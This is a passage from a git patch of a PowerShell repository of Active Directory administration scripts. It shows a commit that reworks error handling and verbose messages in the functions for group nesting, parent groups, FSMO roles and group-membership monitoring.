.EXAMPLE + Get-ADGPOReplication -GPOName "Default Domain Policy" + .EXAMPLE + Get-ADGPOReplication -All + .NOTES + Francois-Xavier Cat + @lazywinadm + lazywinadmin.com + + VERSION HISTORY + 1.0 | 2014.09.22 | Francois-Xavier Cat + Initial version + Adding some more Error Handling + Fix some typo + #> + #requires -version 3 + [CmdletBinding()] + PARAM ( + [parameter(Mandatory = $True, ParameterSetName = "One")] + [String[]]$GPOName, + [parameter(Mandatory = $True, ParameterSetName = "All")] + [Switch]$All + ) + BEGIN + { + TRY + { + if (-not (Get-Module -Name ActiveDirectory)) { Import-Module -Name ActiveDirectory -ErrorAction Stop -ErrorVariable ErrorBeginIpmoAD } + if (-not (Get-Module -Name GroupPolicy)) { Import-Module -Name GroupPolicy -ErrorAction Stop -ErrorVariable ErrorBeginIpmoGP } + } + CATCH + { + Write-Warning -Message "[BEGIN] Something wrong happened" + IF ($ErrorBeginIpmoAD) { Write-Warning -Message "[BEGIN] Error while Importing the module Active Directory" } + IF ($ErrorBeginIpmoGP) { Write-Warning -Message "[BEGIN] Error while Importing the module Group Policy" } + Write-Warning -Message "[BEGIN] $($Error[0].exception.message)" + } + } + PROCESS + { + FOREACH ($DomainController in ((Get-ADDomainController -ErrorAction Stop -ErrorVariable ErrorProcessGetDC -filter *).hostname)) + { + TRY + { + IF ($psBoundParameters['GPOName']) + { + Foreach ($GPOItem in $GPOName) + { + $GPO = Get-GPO -Name $GPOItem -Server $DomainController -ErrorAction Stop -ErrorVariable ErrorProcessGetGPO + + [pscustomobject][ordered] @{ + GroupPolicyName = $GPOItem + DomainController = $DomainController + UserVersion = $GPO.User.DSVersion + UserSysVolVersion = $GPO.User.SysvolVersion + ComputerVersion = $GPO.Computer.DSVersion + ComputerSysVolVersion = $GPO.Computer.SysvolVersion + }#PSObject + }#Foreach ($GPOItem in $GPOName) + }#IF ($psBoundParameters['GPOName']) + IF ($psBoundParameters['All']) + { + $GPOList = Get-GPO -All -Server $DomainController -ErrorAction Stop -ErrorVariable ErrorProcessGetGPOAll + + foreach ($GPO in $GPOList) + { + [pscustomobject][ordered] @{ + GroupPolicyName = $GPO.DisplayName + DomainController = $DomainController + UserVersion = $GPO.User.DSVersion + UserSysVolVersion = $GPO.User.SysvolVersion + ComputerVersion = $GPO.Computer.DSVersion + ComputerSysVolVersion = $GPO.Computer.SysvolVersion + }#PSObject + } + }#IF ($psBoundParameters['All']) + }#TRY + CATCH + { + Write-Warning -Message "[PROCESS] Something wrong happened" + IF ($ErrorProcessGetDC) { Write-Warning -Message "[PROCESS] Error while running retrieving Domain Controllers with Get-ADDomainController" } + IF ($ErrorProcessGetGPO) { Write-Warning -Message "[PROCESS] Error while running Get-GPO" } + IF ($ErrorProcessGetGPOAll) { Write-Warning -Message "[PROCESS] Error while running Get-GPO -All" } + Write-Warning -Message "[PROCESS] $($Error[0].exception.message)" + } + }#FOREACH + }#PROCESS } From d7c7ba719daf3b26d165381b0064da03fabfe28f Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Fri, 22 Mar 2019 17:00:58 -0700 Subject: [PATCH 143/561] Remove Begin/End,update streams messages/error handling --- .../AD-FSMO-Get-ADFSMORole.ps1 | 4 +- .../AD-GROUP-Get-NestedMember.ps1 | 134 +- .../AD-GROUP-Get-ParentGroup.ps1 | 8 +- .../AD-GROUP-Monitor_MemberShip.ps1 | 1432 ++++++++--------- .../Get-ADSITokenGroup.ps1 | 222 +-- AD-SITE-Add-ADSubnet(ADSI)/Add-ADSubnet.ps1 | 212 +-- ...ind_missing_subnets_in_ActiveDirectory.ps1 | 758 ++++----- .../Get-ADSiteInventory.ps1 | 172 +- .../Get-ADSiteAndSubnet.ps1 | 96 +- .../Get-ADDirectReport.ps1 | 186 +-- .../AD-USER-Get-AccountLockedOut.ps1 | 198 +-- .../AD-USER-Report_Expiring_users.ps1 | 454 +++--- .../Connect-ExchangeOnPremises.ps1 | 74 +- .../Connect-ExchangeOnline.ps1 | 114 +- O365-Connect-Office365/Connect-Office365.ps1 | 182 +-- ...5-GROUP-Get-DistributionGroupRecursive.ps1 | 104 +- .../O365-Get-O365CalendarEvent.ps1 | 354 ++-- .../Update-O365UserUPNSuffix.ps1 | 310 ++-- .../Add-SCCMGroupDeviceAffinity.ps1 | 158 +- .../Add-SCCMUserDeviceAffinity.ps1 | 152 +- .../Get-SCCMClientCacheInformation.ps1 | 116 +- .../Get-SCCMDeviceCollectionDeployment.ps1 | 372 ++--- .../Get-SCCMUserCollectionDeployment.ps1 | 290 ++-- .../New-SCCMDeviceVariable.ps1 | 350 ++-- .../New-SCCMTSAppVariable.ps1 | 106 +- .../Remove-SCCMUserDeviceAffinity.ps1 | 174 +- .../Set-SCCMClientCacheLocation.ps1 | 144 +- .../Set-SCCMClientCacheSize.ps1 | 146 +- 28 files changed, 3509 insertions(+), 3513 deletions(-) diff --git a/AD-FSMO-Get-ADFSMORole/AD-FSMO-Get-ADFSMORole.ps1 b/AD-FSMO-Get-ADFSMORole/AD-FSMO-Get-ADFSMORole.ps1 index a7475e8d..0824c98f 100644 --- a/AD-FSMO-Get-ADFSMORole/AD-FSMO-Get-ADFSMORole.ps1 +++ b/AD-FSMO-Get-ADFSMORole/AD-FSMO-Get-ADFSMORole.ps1 @@ -49,7 +49,7 @@ $ForestRoles = Get-ADForest $DomainRoles = Get-ADDomain } - + # Define Properties $Properties = @{ SchemaMaster = $ForestRoles.SchemaMaster @@ -58,7 +58,7 @@ RIDMaster = $DomainRoles.RIDMaster PDCEmulator = $DomainRoles.PDCEmulator } - + New-Object -TypeName PSObject -Property $Properties } CATCH diff --git a/AD-GROUP-Get-NestedMember/AD-GROUP-Get-NestedMember.ps1 b/AD-GROUP-Get-NestedMember/AD-GROUP-Get-NestedMember.ps1 index d5450a9d..e69ea8a5 100644 --- a/AD-GROUP-Get-NestedMember/AD-GROUP-Get-NestedMember.ps1 +++ b/AD-GROUP-Get-NestedMember/AD-GROUP-Get-NestedMember.ps1 @@ -7,6 +7,10 @@ Find all Nested members of a group .PARAMETER GroupName Specify one or more GroupName to audit + .PARAMETER RelationShipPath + Show the relation ship path + .PARAMETER MaxDepth + Specify the Max .Example Get-NestedMember -GroupName TESTGROUP @@ -27,80 +31,72 @@ [String]$RelationShipPath, [Int]$MaxDepth ) - BEGIN - { - $DepthCount = 1 + TRY{ + $FunctionName = (Get-Variable -Name MyInvocation -Scope 0 -ValueOnly).MyCommand - TRY{ - if(-not(Get-Module Activedirectory -ErrorAction Stop)){ - Write-Verbose -Message "[BEGIN] Loading ActiveDirectory Module" - Import-Module ActiveDirectory -ErrorAction Stop} - } - CATCH + Write-Verbose -Message "[$FunctionName] Check if ActiveDirectory Module is available" + if(-not(Get-Module Activedirectory -ErrorAction Stop)) { - Write-Warning -Message "[BEGIN] An Error occured" - Write-Warning -Message $error[0].exception.message + Write-Verbose -Message "[$FunctionName] Loading ActiveDirectory Module" + Import-Module ActiveDirectory -ErrorAction Stop } - } - PROCESS - { - TRY + + # Set Depth Counter + $DepthCount = 1 + FOREACH ($Group in $GroupName) { - FOREACH ($Group in $GroupName) + Write-Verbose -Message "[$FunctionName] Group '$Group'" + + # Get the Group Information + $GroupObject = Get-ADGroup -Identity $Group -ErrorAction Stop + + IF($GroupObject) { - # Get the Group Information - $GroupObject = Get-ADGroup -Identity $Group -ErrorAction Stop - - IF($GroupObject) - { - # Get the Members of the group - $GroupObject | Get-ADGroupMember -ErrorAction Stop | ForEach-Object -Process { - - # Get the name of the current group (to reuse in output) - $ParentGroup = $GroupObject.Name - - - # Avoid circular - IF($RelationShipPath -notlike ".\ $($GroupObject.samaccountname) \*") - { - if($PSBoundParameters["RelationShipPath"]) { - - $RelationShipPath = "$RelationShipPath \ $($GroupObject.samaccountname)" - + Write-Verbose -Message "[$FunctionName] Group '$Group' - Retrieving members" + + # Get the Members of the group + $GroupObject | Get-ADGroupMember -ErrorAction Stop | ForEach-Object -Process { + + # Get the name of the current group (to reuse in output) + $ParentGroup = $GroupObject.Name + + + # Avoid circular + IF($RelationShipPath -notlike ".\ $($GroupObject.samaccountname) \*") + { + if($PSBoundParameters["RelationShipPath"]) { + + $RelationShipPath = "$RelationShipPath \ $($GroupObject.samaccountname)" + + } + Else{$RelationShipPath = ".\ $($GroupObject.samaccountname)"} + + Write-Verbose -Message "[$FunctionName] Group '$Group' - Name:$($_.name) | ObjectClass:$($_.ObjectClass)" + $CurrentObject = $_ + switch ($_.ObjectClass) + { + "group" { + # Output Object + $CurrentObject | Select-Object Name,SamAccountName,ObjectClass,DistinguishedName,@{Label="ParentGroup";Expression={$ParentGroup}}, @{Label="RelationShipPath";Expression={$RelationShipPath}} + + if (-not($DepthCount -lt $MaxDepth)){ + # Find Child + Get-NestedMember -GroupName $CurrentObject.Name -RelationShipPath $RelationShipPath + $DepthCount++ } - Else{$RelationShipPath = ".\ $($GroupObject.samaccountname)"} - - Write-Verbose -Message "[PROCESS] Name:$($_.name) | ObjectClass:$($_.ObjectClass)" - $CurrentObject = $_ - switch ($_.ObjectClass) - { - "group" { - # Output Object - $CurrentObject | Select-Object Name,SamAccountName,ObjectClass,DistinguishedName,@{Label="ParentGroup";Expression={$ParentGroup}}, @{Label="RelationShipPath";Expression={$RelationShipPath}} - - if (-not($DepthCount -lt $MaxDepth)){ - # Find Child - Get-NestedMember -GroupName $CurrentObject.Name -RelationShipPath $RelationShipPath - $DepthCount++ - } - }#Group - default { $CurrentObject | Select-Object Name,SamAccountName,ObjectClass,DistinguishedName, @{Label="ParentGroup";Expression={$ParentGroup}},@{Label="RelationShipPath";Expression={$RelationShipPath}}} - }#Switch - }#IF($RelationShipPath -notmatch $($GroupObject.samaccountname)) - ELSE{Write-Warning -Message "[PROCESS] Circular group membership detected with $($GroupObject.samaccountname)"} - }#ForeachObject - }#IF($GroupObject) - ELSE { - Write-Warning -Message "[PROCESS] Can't find the group $Group" - }#ELSE - }#FOREACH ($Group in $GroupName) - }#TRY - CATCH{ - Write-Warning -Message "[PROCESS] An Error occured" - Write-Warning -Message $error[0].exception.message } - }#PROCESS - END - { - Write-Verbose -Message "[END] Get-NestedMember" + }#Group + default { $CurrentObject | Select-Object Name,SamAccountName,ObjectClass,DistinguishedName, @{Label="ParentGroup";Expression={$ParentGroup}},@{Label="RelationShipPath";Expression={$RelationShipPath}}} + }#Switch + }#IF($RelationShipPath -notmatch $($GroupObject.samaccountname)) + ELSE {Write-Warning -Message "[$FunctionName] Circular group membership detected with $($GroupObject.samaccountname)"} + }#ForeachObject + }#IF($GroupObject) + ELSE { + Write-Warning -Message "[$FunctionName] Can't find the group $Group" + }#ELSE + }#FOREACH ($Group in $GroupName) + }#TRY + CATCH{ + $PSCmdlet.ThrowTerminatingError($_) } } \ No newline at end of file diff --git a/AD-GROUP-Get-ParentGroup/AD-GROUP-Get-ParentGroup.ps1 b/AD-GROUP-Get-ParentGroup/AD-GROUP-Get-ParentGroup.ps1 index 534f6411..73d1c017 100644 --- a/AD-GROUP-Get-ParentGroup/AD-GROUP-Get-ParentGroup.ps1 +++ b/AD-GROUP-Get-ParentGroup/AD-GROUP-Get-ParentGroup.ps1 @@ -51,17 +51,17 @@ { # Show a warning if more than 1 object is found if ($ADObject.count -gt 1){Write-Warning -Message "More than one object found with the $obj request"} - + FOREACH ($Account in $ADObject) { Write-Verbose -Message "[PROCESS] $($Account.name)" $Account | Select-Object -ExpandProperty memberof | ForEach-Object -Process { $CurrentObject = Get-Adobject -LDAPFilter "(|(anr=$_)(distinguishedname=$_))" -Properties Samaccountname - - + + Write-Output $CurrentObject | Select-Object Name,SamAccountName,ObjectClass, @{L="Child";E={$Account.samaccountname}} - + Write-Verbose -Message "Inception - $($CurrentObject.distinguishedname)" Get-ParentGroup -OutBuffer $CurrentObject.distinguishedname diff --git a/AD-GROUP-Monitor_MemberShip/AD-GROUP-Monitor_MemberShip.ps1 b/AD-GROUP-Monitor_MemberShip/AD-GROUP-Monitor_MemberShip.ps1 index 7ae6d7f2..588dcacf 100644 --- a/AD-GROUP-Monitor_MemberShip/AD-GROUP-Monitor_MemberShip.ps1 +++ b/AD-GROUP-Monitor_MemberShip/AD-GROUP-Monitor_MemberShip.ps1 @@ -1,215 +1,215 @@ <# .SYNOPSIS - This script is monitoring group(s) in Active Directory and send an email when someone is changing the membership. + This script is monitoring group(s) in Active Directory and send an email when someone is changing the membership. .DESCRIPTION - This script is monitoring group(s) in Active Directory and send an email when someone is changing the membership. - It will also report the Change History made for this/those group(s). + This script is monitoring group(s) in Active Directory and send an email when someone is changing the membership. + It will also report the Change History made for this/those group(s). .PARAMETER Group - Specify the group(s) to query in Active Directory. - You can also specify the 'DN','GUID','SID' or the 'Name' of your group(s). - Using 'Domain\Name' will also work. + Specify the group(s) to query in Active Directory. + You can also specify the 'DN','GUID','SID' or the 'Name' of your group(s). + Using 'Domain\Name' will also work. .PARAMETER SearchRoot - Specify the DN, GUID or canonical name of the domain or container to search. By default, the script searches the entire sub-tree of which SearchRoot is the topmost object (sub-tree search). This default behavior can be altered by using the SearchScope parameter. + Specify the DN, GUID or canonical name of the domain or container to search. By default, the script searches the entire sub-tree of which SearchRoot is the topmost object (sub-tree search). This default behavior can be altered by using the SearchScope parameter. .PARAMETER SearchScope - Specify one of these parameter values - 'Base' Limits the search to the base (SearchRoot) object. - The result contains a maximum of one object. - 'OneLevel' Searches the immediate child objects of the base (SearchRoot) - object, excluding the base object. - 'Subtree' Searches the whole sub-tree, including the base (SearchRoot) - object and all its child objects. + Specify one of these parameter values + 'Base' Limits the search to the base (SearchRoot) object. + The result contains a maximum of one object. + 'OneLevel' Searches the immediate child objects of the base (SearchRoot) + object, excluding the base object. + 'Subtree' Searches the whole sub-tree, including the base (SearchRoot) + object and all its child objects. .PARAMETER GroupScope - Specify the group scope of groups you want to find. Acceptable values are: - 'Global'; - 'Universal'; - 'DomainLocal'. + Specify the group scope of groups you want to find. Acceptable values are: + 'Global'; + 'Universal'; + 'DomainLocal'. .PARAMETER GroupType - Specify the group type of groups you want to find. Acceptable values are: - 'Security'; - 'Distribution'. + Specify the group type of groups you want to find. Acceptable values are: + 'Security'; + 'Distribution'. .PARAMETER File - Specify the File where the Group are listed. DN, SID, GUID, or Domain\Name of the group are accepted. + Specify the File where the Group are listed. DN, SID, GUID, or Domain\Name of the group are accepted. .PARAMETER EmailServer - Specify the Email Server IPAddress/FQDN. + Specify the Email Server IPAddress/FQDN. .PARAMETER EmailTo - Specify the Email Address(es) of the Destination. Example: fxcat@fx.lab + Specify the Email Address(es) of the Destination. Example: fxcat@fx.lab .PARAMETER EmailFrom - Specify the Email Address of the Sender. Example: Reporting@fx.lab + Specify the Email Address of the Sender. Example: Reporting@fx.lab .PARAMETER EmailEncoding - Specify the Body and Subject Encoding to use in the Email. - Default is ASCII. + Specify the Body and Subject Encoding to use in the Email. + Default is ASCII. .PARAMETER Server - Specify the Domain Controller to use. - Aliases: DomainController, Service + Specify the Domain Controller to use. + Aliases: DomainController, Service .PARAMETER HTMLLog - Specify if you want to save a local copy of the Report. - It will be saved under the directory "HTML". + Specify if you want to save a local copy of the Report. + It will be saved under the directory "HTML". .EXAMPLE - .\AD-GROUP-Monitor_MemberShip.ps1 -Group "FXGroup" -EmailFrom "From@Company.com" -EmailTo "To@Company.com" -EmailServer "mail.company.com" + .\AD-GROUP-Monitor_MemberShip.ps1 -Group "FXGroup" -EmailFrom "From@Company.com" -EmailTo "To@Company.com" -EmailServer "mail.company.com" - This will run the script against the group FXGROUP and send an email to To@Company.com using the address From@Company.com and the server mail.company.com. + This will run the script against the group FXGROUP and send an email to To@Company.com using the address From@Company.com and the server mail.company.com. .EXAMPLE - .\AD-GROUP-Monitor_MemberShip.ps1 -Group "FXGroup","FXGroup2","FXGroup3" -EmailFrom "From@Company.com" -Emailto "To@Company.com" -EmailServer "mail.company.com" + .\AD-GROUP-Monitor_MemberShip.ps1 -Group "FXGroup","FXGroup2","FXGroup3" -EmailFrom "From@Company.com" -Emailto "To@Company.com" -EmailServer "mail.company.com" - This will run the script against the groups FXGROUP,FXGROUP2 and FXGROUP3 and send an email to To@Company.com using the address From@Company.com and the Server mail.company.com. + This will run the script against the groups FXGROUP,FXGROUP2 and FXGROUP3 and send an email to To@Company.com using the address From@Company.com and the Server mail.company.com. .EXAMPLE - .\AD-GROUP-Monitor_MemberShip.ps1 -Group "FXGroup" -EmailFrom "From@Company.com" -Emailto "To@Company.com" -EmailServer "mail.company.com" -Verbose + .\AD-GROUP-Monitor_MemberShip.ps1 -Group "FXGroup" -EmailFrom "From@Company.com" -Emailto "To@Company.com" -EmailServer "mail.company.com" -Verbose - This will run the script against the group FXGROUP and send an email to To@Company.com using the address From@Company.com and the server mail.company.com. Additionally the switch Verbose is activated to show the activities of the script. + This will run the script against the group FXGROUP and send an email to To@Company.com using the address From@Company.com and the server mail.company.com. Additionally the switch Verbose is activated to show the activities of the script. .EXAMPLE - .\AD-GROUP-Monitor_MemberShip.ps1 -Group "FXGroup" -EmailFrom "From@Company.com" -Emailto "Auditor@Company.com","Auditor2@Company.com" -EmailServer "mail.company.com" -Verbose + .\AD-GROUP-Monitor_MemberShip.ps1 -Group "FXGroup" -EmailFrom "From@Company.com" -Emailto "Auditor@Company.com","Auditor2@Company.com" -EmailServer "mail.company.com" -Verbose - This will run the script against the group FXGROUP and send an email to Auditor@Company.com and Auditor2@Company.com using the address From@Company.com and the server mail.company.com. Additionally the switch Verbose is activated to show the activities of the script. + This will run the script against the group FXGROUP and send an email to Auditor@Company.com and Auditor2@Company.com using the address From@Company.com and the server mail.company.com. Additionally the switch Verbose is activated to show the activities of the script. .EXAMPLE - .\AD-GROUP-Monitor_MemberShip.ps1 -SearchRoot 'FX.LAB/TEST/Groups' -Emailfrom Reporting@fx.lab -Emailto "Catfx@fx.lab" -EmailServer 192.168.1.10 -Verbose + .\AD-GROUP-Monitor_MemberShip.ps1 -SearchRoot 'FX.LAB/TEST/Groups' -Emailfrom Reporting@fx.lab -Emailto "Catfx@fx.lab" -EmailServer 192.168.1.10 -Verbose - This will run the script against all the groups present in the CanonicalName 'FX.LAB/TEST/Groups' and send an email to catfx@fx.lab using the address Reporting@fx.lab and the server 192.168.1.10. Additionally the switch Verbose is activated to show the activities of the script. + This will run the script against all the groups present in the CanonicalName 'FX.LAB/TEST/Groups' and send an email to catfx@fx.lab using the address Reporting@fx.lab and the server 192.168.1.10. Additionally the switch Verbose is activated to show the activities of the script. .EXAMPLE - .\AD-GROUP-Monitor_MemberShip.ps1 -file .\groupslist.txt -Emailfrom Reporting@fx.lab -Emailto "Catfx@fx.lab" -EmailServer 192.168.1.10 -Verbose + .\AD-GROUP-Monitor_MemberShip.ps1 -file .\groupslist.txt -Emailfrom Reporting@fx.lab -Emailto "Catfx@fx.lab" -EmailServer 192.168.1.10 -Verbose - This will run the script against all the groups present in the file groupslists.txt and send an email to catfx@fx.lab using the address Reporting@fx.lab and the server 192.168.1.10. Additionally the switch Verbose is activated to show the activities of the script. + This will run the script against all the groups present in the file groupslists.txt and send an email to catfx@fx.lab using the address Reporting@fx.lab and the server 192.168.1.10. Additionally the switch Verbose is activated to show the activities of the script. .EXAMPLE - .\AD-GROUP-Monitor_MemberShip.ps1 -server DC01.fx.lab -file .\groupslist.txt -Emailfrom Reporting@fx.lab -Emailto "Catfx@fx.lab" -EmailServer 192.168.1.10 -Verbose + .\AD-GROUP-Monitor_MemberShip.ps1 -server DC01.fx.lab -file .\groupslist.txt -Emailfrom Reporting@fx.lab -Emailto "Catfx@fx.lab" -EmailServer 192.168.1.10 -Verbose - This will run the script against the Domain Controller "DC01.fx.lab" on all the groups present in the file groupslists.txt and send an email to catfx@fx.lab using the address Reporting@fx.lab and the server 192.168.1.10. Additionally the switch Verbose is activated to show the activities of the script. + This will run the script against the Domain Controller "DC01.fx.lab" on all the groups present in the file groupslists.txt and send an email to catfx@fx.lab using the address Reporting@fx.lab and the server 192.168.1.10. Additionally the switch Verbose is activated to show the activities of the script. .EXAMPLE - .\AD-GROUP-Monitor_MemberShip.ps1 -server DC01.fx.lab:389 -file .\groupslist.txt -Emailfrom Reporting@fx.lab -Emailto "Catfx@fx.lab" -EmailServer 192.168.1.10 -Verbose + .\AD-GROUP-Monitor_MemberShip.ps1 -server DC01.fx.lab:389 -file .\groupslist.txt -Emailfrom Reporting@fx.lab -Emailto "Catfx@fx.lab" -EmailServer 192.168.1.10 -Verbose - This will run the script against the Domain Controller "DC01.fx.lab" (on port 389) on all the groups present in the file groupslists.txt and send an email to catfx@fx.lab using the address Reporting@fx.lab and the server 192.168.1.10. Additionally the switch Verbose is activated to show the activities of the script. + This will run the script against the Domain Controller "DC01.fx.lab" (on port 389) on all the groups present in the file groupslists.txt and send an email to catfx@fx.lab using the address Reporting@fx.lab and the server 192.168.1.10. Additionally the switch Verbose is activated to show the activities of the script. .EXAMPLE - .\AD-GROUP-Monitor_MemberShip.ps1 -group "Domain Admins" -Emailfrom Reporting@fx.lab -Emailto "Catfx@fx.lab" -EmailServer 192.168.1.10 -EmailEncoding 'ASCII' -HTMLlog + .\AD-GROUP-Monitor_MemberShip.ps1 -group "Domain Admins" -Emailfrom Reporting@fx.lab -Emailto "Catfx@fx.lab" -EmailServer 192.168.1.10 -EmailEncoding 'ASCII' -HTMLlog - This will run the script against the group "Domain Admins" and send an email (using the encoding ASCII) to catfx@fx.lab using the address Reporting@fx.lab and the SMTP server 192.168.1.10. It will also save a local HTML report under the HTML Directory. + This will run the script against the group "Domain Admins" and send an email (using the encoding ASCII) to catfx@fx.lab using the address Reporting@fx.lab and the SMTP server 192.168.1.10. It will also save a local HTML report under the HTML Directory. .INPUTS - System.String + System.String .OUTPUTS - Email Report + Email Report .NOTES - NAME: AD-GROUP-Monitor_MemberShip.ps1 - AUTHOR: Francois-Xavier Cat - EMAIL: info@lazywinadmin.com - WWW: www.lazywinadmin - Twitter:@lazywinadm - - REQUIREMENTS: - -Read Permission in Active Directory on the monitored groups - -Quest Active Directory PowerShell Snapin - -A Scheduled Task (in order to check every X seconds/minutes/hours) - - VERSION HISTORY: - 1.0 2012.02.01 - Initial Version - - 1.1 2012.03.13 - CHANGE to monitor both Domain Admins and Enterprise Admins - - 1.2 2013.09.23 - FIX issue when specifying group with domain 'DOMAIN\Group' - CHANGE Script Format (BEGIN, PROCESS, END) - ADD Minimal Error handling. (TRY CATCH) - - 1.3 2013.10.05 - CHANGE in the PROCESS BLOCK, the TRY CATCH blocks and placed - them inside the FOREACH instead of inside the TRY block - ADD support for Verbose - CHANGE the output file name "DOMAIN_GROUPNAME-membership.csv" - ADD a Change History File for each group(s) - example: "GROUPNAME-ChangesHistory-yyyyMMdd-hhmmss.csv" - ADD more Error Handling - ADD a HTML Report instead of plain text - ADD HTML header - ADD HTML header for change history - - 1.4 2013.10.11 - CHANGE the 'Change History' filename to - "DOMAIN_GROUPNAME-ChangesHistory-yyyyMMdd-hhmmss.csv" - UPDATE Comments Based Help - ADD Some Variable Parameters - - 1.5 2013.10.13 - ADD the full Parameter Names for each Cmdlets used in this script - ADD Alias to the Group ParameterName - - 1.6 2013.11.21 - ADD Support for Organizational Unit (SearchRoot parameter) - ADD Support for file input (File Parameter) - ADD ParamaterSetNames and parameters GroupType/GroupScope/SearchScope - REMOVE [mailaddress] type on $Emailfrom and $EmailTo to make the script available to PowerShell 2.0 - ADD Regular expression validation on $Emailfrom and $EmailTo - - 1.7 2013.11.23 - ADD ValidateScript on File Parameter - ADD Additional information about the Group in the Report - CHANGE the format of the $changes output, it will now include the DateTime Property - UPDATE Help - ADD DisplayName Property in the report - - 1.8 2013.11.27 - Minor syntax changes - UPDATE Help - - 1.8.1 2013.12.29 - Rename to AD-GROUP-Monitor_MemberShip - - 1.8.2 2014.02.17 - Update Notes - - 2.0 2014.05.04 - ADD Support for ActiveDirectory module (AD module is use by default) - ADD failover to Quest AD Cmdlet if AD module is available - RENAME GetQADGroupParams variable to ADGroupParams - - 2.0.1 2015.01.05 - REMOVE the DisplayName property from the email - ADD more clear details/Comments - RENAME a couple of Verbose and Warning Messages - FIX the DN of the group in the Summary - FIX SearchBase/SearchRoot Parameter which was not working with AD Module - FIX Some other minor issues - ADD Check to validate data added to $Group is valid - ADD Server Parameter to be able to specify a domain controller - - 2.0.2 2015.01.14 - FIX an small issue with the $StateFile which did not contains the domain - ADD the property Name into the final output. - ADD Support to export the report to a HTML file (-HTMLLog) It will save - the report under the folder HTML - ADD Support for alternative Email Encoding: Body and Subject. Default is ASCII. - - - TODO: - -Add Switch to make the Group summary Optional (info: Description,DN,CanonicalName,SID, Scope, Type) - -Current Member Count, Added Member count, Removed Member Count - -Switch to Show all the Current Members (Name, Department, Role, EMail) - -Possibility to Ignore some groups - -Email Credential - -Recursive Membership search - -Switch to save a local copy of the HTML report (maybe put this by default) + NAME: AD-GROUP-Monitor_MemberShip.ps1 + AUTHOR: Francois-Xavier Cat + EMAIL: info@lazywinadmin.com + WWW: www.lazywinadmin + Twitter:@lazywinadm + + REQUIREMENTS: + -Read Permission in Active Directory on the monitored groups + -Quest Active Directory PowerShell Snapin + -A Scheduled Task (in order to check every X seconds/minutes/hours) + + VERSION HISTORY: + 1.0 2012.02.01 + Initial Version + + 1.1 2012.03.13 + CHANGE to monitor both Domain Admins and Enterprise Admins + + 1.2 2013.09.23 + FIX issue when specifying group with domain 'DOMAIN\Group' + CHANGE Script Format (BEGIN, PROCESS, END) + ADD Minimal Error handling. (TRY CATCH) + + 1.3 2013.10.05 + CHANGE in the PROCESS BLOCK, the TRY CATCH blocks and placed + them inside the FOREACH instead of inside the TRY block + ADD support for Verbose + CHANGE the output file name "DOMAIN_GROUPNAME-membership.csv" + ADD a Change History File for each group(s) + example: "GROUPNAME-ChangesHistory-yyyyMMdd-hhmmss.csv" + ADD more Error Handling + ADD a HTML Report instead of plain text + ADD HTML header + ADD HTML header for change history + + 1.4 2013.10.11 + CHANGE the 'Change History' filename to + "DOMAIN_GROUPNAME-ChangesHistory-yyyyMMdd-hhmmss.csv" + UPDATE Comments Based Help + ADD Some Variable Parameters + + 1.5 2013.10.13 + ADD the full Parameter Names for each Cmdlets used in this script + ADD Alias to the Group ParameterName + + 1.6 2013.11.21 + ADD Support for Organizational Unit (SearchRoot parameter) + ADD Support for file input (File Parameter) + ADD ParamaterSetNames and parameters GroupType/GroupScope/SearchScope + REMOVE [mailaddress] type on $Emailfrom and $EmailTo to make the script available to PowerShell 2.0 + ADD Regular expression validation on $Emailfrom and $EmailTo + + 1.7 2013.11.23 + ADD ValidateScript on File Parameter + ADD Additional information about the Group in the Report + CHANGE the format of the $changes output, it will now include the DateTime Property + UPDATE Help + ADD DisplayName Property in the report + + 1.8 2013.11.27 + Minor syntax changes + UPDATE Help + + 1.8.1 2013.12.29 + Rename to AD-GROUP-Monitor_MemberShip + + 1.8.2 2014.02.17 + Update Notes + + 2.0 2014.05.04 + ADD Support for ActiveDirectory module (AD module is use by default) + ADD failover to Quest AD Cmdlet if AD module is available + RENAME GetQADGroupParams variable to ADGroupParams + + 2.0.1 2015.01.05 + REMOVE the DisplayName property from the email + ADD more clear details/Comments + RENAME a couple of Verbose and Warning Messages + FIX the DN of the group in the Summary + FIX SearchBase/SearchRoot Parameter which was not working with AD Module + FIX Some other minor issues + ADD Check to validate data added to $Group is valid + ADD Server Parameter to be able to specify a domain controller + + 2.0.2 2015.01.14 + FIX an small issue with the $StateFile which did not contains the domain + ADD the property Name into the final output. + ADD Support to export the report to a HTML file (-HTMLLog) It will save + the report under the folder HTML + ADD Support for alternative Email Encoding: Body and Subject. Default is ASCII. + + + TODO: + -Add Switch to make the Group summary Optional (info: Description,DN,CanonicalName,SID, Scope, Type) + -Current Member Count, Added Member count, Removed Member Count + -Switch to Show all the Current Members (Name, Department, Role, EMail) + -Possibility to Ignore some groups + -Email Credential + -Recursive Membership search + -Switch to save a local copy of the HTML report (maybe put this by default) #> #requires -version 3.0 @@ -217,596 +217,596 @@ [CmdletBinding(DefaultParameterSetName = "Group")] PARAM ( - [Parameter(ParameterSetName = "Group", Mandatory = $true, HelpMessage = "You must specify at least one Active Directory group")] - [ValidateNotNull()] - [Alias('DN', 'DistinguishedName', 'GUID', 'SID', 'Name')] - [string[]]$Group, - - [Parameter(ParameterSetName = "OU", Mandatory = $true)] - [Alias('SearchBase')] - [String[]]$SearchRoot, - - [Parameter(ParameterSetName = "OU")] - [ValidateSet("Base", "OneLevel", "Subtree")] - [String]$SearchScope, - - [Parameter(ParameterSetName = "OU")] - [ValidateSet("Global", "Universal", "DomainLocal")] - [String]$GroupScope, - - [Parameter(ParameterSetName = "OU")] - [ValidateSet("Security", "Distribution")] - [String]$GroupType, - - [Parameter(ParameterSetName = "File", Mandatory = $true)] - [ValidateScript({ Test-Path -Path $_ })] - [String[]]$File, - - [Parameter()] - [Alias('DomainController', 'Service')] - $Server, - - [Parameter(Mandatory = $true, HelpMessage = "You must specify the Sender Email Address")] - [ValidatePattern("[a-z0-9!#\$%&'*+/=?^_`{|}~-]+(?:\.[a-z0-9!#\$%&'*+/=?^_`{|}~-]+)*@(?:[a-z0-9](?:[a-z0-9-]*[a-z0-9])?\.)+[a-z0-9](?:[a-z0-9-]*[a-z0-9])?")] - [String]$Emailfrom, - - [Parameter(Mandatory = $true, HelpMessage = "You must specify the Destination Email Address")] - [ValidatePattern("[a-z0-9!#\$%&'*+/=?^_`{|}~-]+(?:\.[a-z0-9!#\$%&'*+/=?^_`{|}~-]+)*@(?:[a-z0-9](?:[a-z0-9-]*[a-z0-9])?\.)+[a-z0-9](?:[a-z0-9-]*[a-z0-9])?")] - [String[]]$Emailto, - - [Parameter(Mandatory = $true, HelpMessage = "You must specify the Email Server to use (IPAddress or 